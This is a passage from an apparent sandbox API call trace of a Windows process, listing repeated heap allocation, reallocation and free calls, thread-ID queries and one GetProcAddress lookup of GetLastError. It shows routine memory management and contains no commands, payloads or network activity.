(Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64d8, Size=0x14) returned 0x2a716c0 [0073.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0073.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0073.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71640 | out: hHeap=0x2ad0000) returned 1 [0073.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0073.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716c0 | out: hHeap=0x2ad0000) returned 1 [0073.285] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fad8, Size=0x40) returned 0x2a18e60 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aac758 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac53c0 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ad63f8 [0073.285] GetCurrentThreadId () returned 0x9b0 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.285] GetCurrentThreadId () returned 0x9b0 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71780 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac59e0 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71740 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6568 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71620 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18268 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0073.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0073.286] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a71640 [0073.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0073.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18268 | out: hHeap=0x2ad0000) returned 1 [0073.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0073.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71640 | out: hHeap=0x2ad0000) returned 1 [0073.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ad6468 [0073.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6538 [0073.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71600 [0073.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18178 [0073.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0073.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64a8 [0073.286] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a71620 [0073.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64a8 | out: hHeap=0x2ad0000) returned 1 [0073.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18178 | out: hHeap=0x2ad0000) returned 1 [0073.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71600 | out: hHeap=0x2ad0000) returned 1 [0073.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0073.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac6ab8 [0073.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac5548 [0073.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ad6588 [0073.286] GetCurrentThreadId () returned 0x9b0 [0073.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0073.286] GetCurrentThreadId () returned 0x9b0 [0073.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71800 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6498 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71840 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0073.287] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a71860 [0073.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0073.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0073.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6498 | out: hHeap=0x2ad0000) returned 1 [0073.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71860 | out: hHeap=0x2ad0000) returned 1 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ad6478 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64d8 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71620 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180e8 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6428 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6538 [0073.287] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6428, Size=0x14) returned 0x2a71660 [0073.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0073.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180e8 | out: hHeap=0x2ad0000) returned 1 [0073.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64d8 | out: hHeap=0x2ad0000) returned 1 [0073.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac56d0 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac6000 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ad6548 [0073.287] GetCurrentThreadId () returned 0x9b0 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.287] GetCurrentThreadId () returned 0x9b0 [0073.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71860 [0073.288] GetCurrentThreadId () returned 0x9b0 [0073.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6408 [0073.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71660 [0073.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64a8 [0073.288] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64a8, Size=0x14) returned 0x2a71580 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6498 | out: hHeap=0x2ad0000) returned 1 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6408 | out: hHeap=0x2ad0000) returned 1 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0073.288] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2a718e0 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6408 | out: hHeap=0x2ad0000) returned 1 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181f0 | out: hHeap=0x2ad0000) returned 1 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718e0 | out: hHeap=0x2ad0000) returned 1 [0073.288] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65a8, Size=0x14) returned 0x2a71620 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18268 | out: hHeap=0x2ad0000) returned 1 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6408 | out: hHeap=0x2ad0000) returned 1 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.288] GetCurrentThreadId () returned 0x9b0 [0073.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.288] GetCurrentThreadId () returned 0x9b0 [0073.288] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6568, Size=0x14) returned 0x2a71760 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71760 | out: hHeap=0x2ad0000) returned 1 [0073.289] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e60, Size=0x64) returned 0x2a19738 [0073.289] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2a71840 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18238 | out: hHeap=0x2ad0000) returned 1 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71760 | out: hHeap=0x2ad0000) returned 1 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.289] GetCurrentThreadId () returned 0x9b0 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.289] GetCurrentThreadId () returned 0x9b0 [0073.289] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65a8, Size=0x14) returned 0x2a71880 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18220 | out: hHeap=0x2ad0000) returned 1 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71880 | out: hHeap=0x2ad0000) returned 1 [0073.289] GetCurrentThreadId () returned 0x9b0 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.289] GetCurrentThreadId () returned 0x9b0 [0073.289] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64a8, Size=0x14) returned 0x2a71840 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0073.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18238 | out: hHeap=0x2ad0000) returned 1 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.290] GetCurrentThreadId () returned 0x9b0 [0073.290] GetCurrentThreadId () returned 0x9b0 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.290] GetCurrentThreadId () returned 0x9b0 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0073.290] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6428, Size=0x14) returned 0x2a717c0 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717c0 | out: hHeap=0x2ad0000) returned 1 [0073.290] GetCurrentThreadId () returned 0x9b0 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.290] GetCurrentThreadId () returned 0x9b0 [0073.290] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65a8, Size=0x14) returned 0x2a71660 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18130 | out: hHeap=0x2ad0000) returned 1 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac70d8 | out: hHeap=0x2ad0000) returned 1 [0073.291] GetCurrentThreadId () returned 0x9b0 [0073.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0073.291] GetCurrentThreadId () returned 0x9b0 [0073.291] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65a8, Size=0x14) returned 0x2a71680 [0073.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0073.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.291] GetCurrentThreadId () returned 0x9b0 [0073.291] GetCurrentThreadId () returned 0x9b0 [0073.291] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6428, Size=0x14) returned 0x2a71880 [0073.291] GetCurrentThreadId () returned 0x9b0 [0073.291] GetCurrentThreadId () returned 0x9b0 [0073.291] GetCurrentThreadId () returned 0x9b0 [0073.291] GetCurrentThreadId () returned 0x9b0 [0073.291] GetCurrentThreadId () returned 0x9b0 [0073.291] GetCurrentThreadId () returned 0x9b0 [0073.291] GetCurrentThreadId () returned 0x9b0 [0073.292] GetCurrentThreadId () returned 0x9b0 [0073.292] GetCurrentThreadId () returned 0x9b0 [0073.293] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0073.293] GetLastError () returned 0x0 [0073.293] GetCurrentThreadId () returned 0x9b0 [0073.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.293] GetCurrentThreadId () returned 0x9b0 [0073.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2ac73a0 [0073.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aaac20 | out: hHeap=0x2ad0000) returned 1 [0073.293] GetCurrentThreadId () returned 0x9b0 [0073.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.293] GetCurrentThreadId () returned 0x9b0 [0073.293] GetCurrentThreadId () returned 0x9b0 [0073.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b110 [0073.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac6930 [0073.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0a0 [0073.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0073.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b200 [0073.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.293] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b200, Size=0x14) returned 0x2a71620 [0073.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0073.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0a0 | out: hHeap=0x2ad0000) returned 1 [0073.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2a87320 [0073.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac6930 | out: hHeap=0x2ad0000) returned 1 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b070 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac6930 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0d0 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71580 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b140 [0073.294] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0e0, Size=0x14) returned 0x2a71840 [0073.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b140 | out: hHeap=0x2ad0000) returned 1 [0073.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0073.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0d0 | out: hHeap=0x2ad0000) returned 1 [0073.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2a873e8 [0073.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac6930 | out: hHeap=0x2ad0000) returned 1 [0073.294] GetCurrentThreadId () returned 0x9b0 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b120 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac6930 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71880 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18130 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b080 [0073.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0a0 [0073.294] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b080, Size=0x14) returned 0x2a717a0 [0073.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0a0 | out: hHeap=0x2ad0000) returned 1 [0073.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18130 | out: hHeap=0x2ad0000) returned 1 [0073.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71880 | out: hHeap=0x2ad0000) returned 1 [0073.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.295] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18070, Size=0x20) returned 0x2a1fa60 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2a8b238 [0073.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac6930 | out: hHeap=0x2ad0000) returned 1 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0d0 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac6930 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1d0 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71620 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18268 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b200 [0073.295] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a71660 [0073.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b200 | out: hHeap=0x2ad0000) returned 1 [0073.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18268 | out: hHeap=0x2ad0000) returned 1 [0073.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1d0 | out: hHeap=0x2ad0000) returned 1 [0073.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2a8b300 [0073.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac6930 | out: hHeap=0x2ad0000) returned 1 [0073.295] GetCurrentThreadId () returned 0x9b0 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, 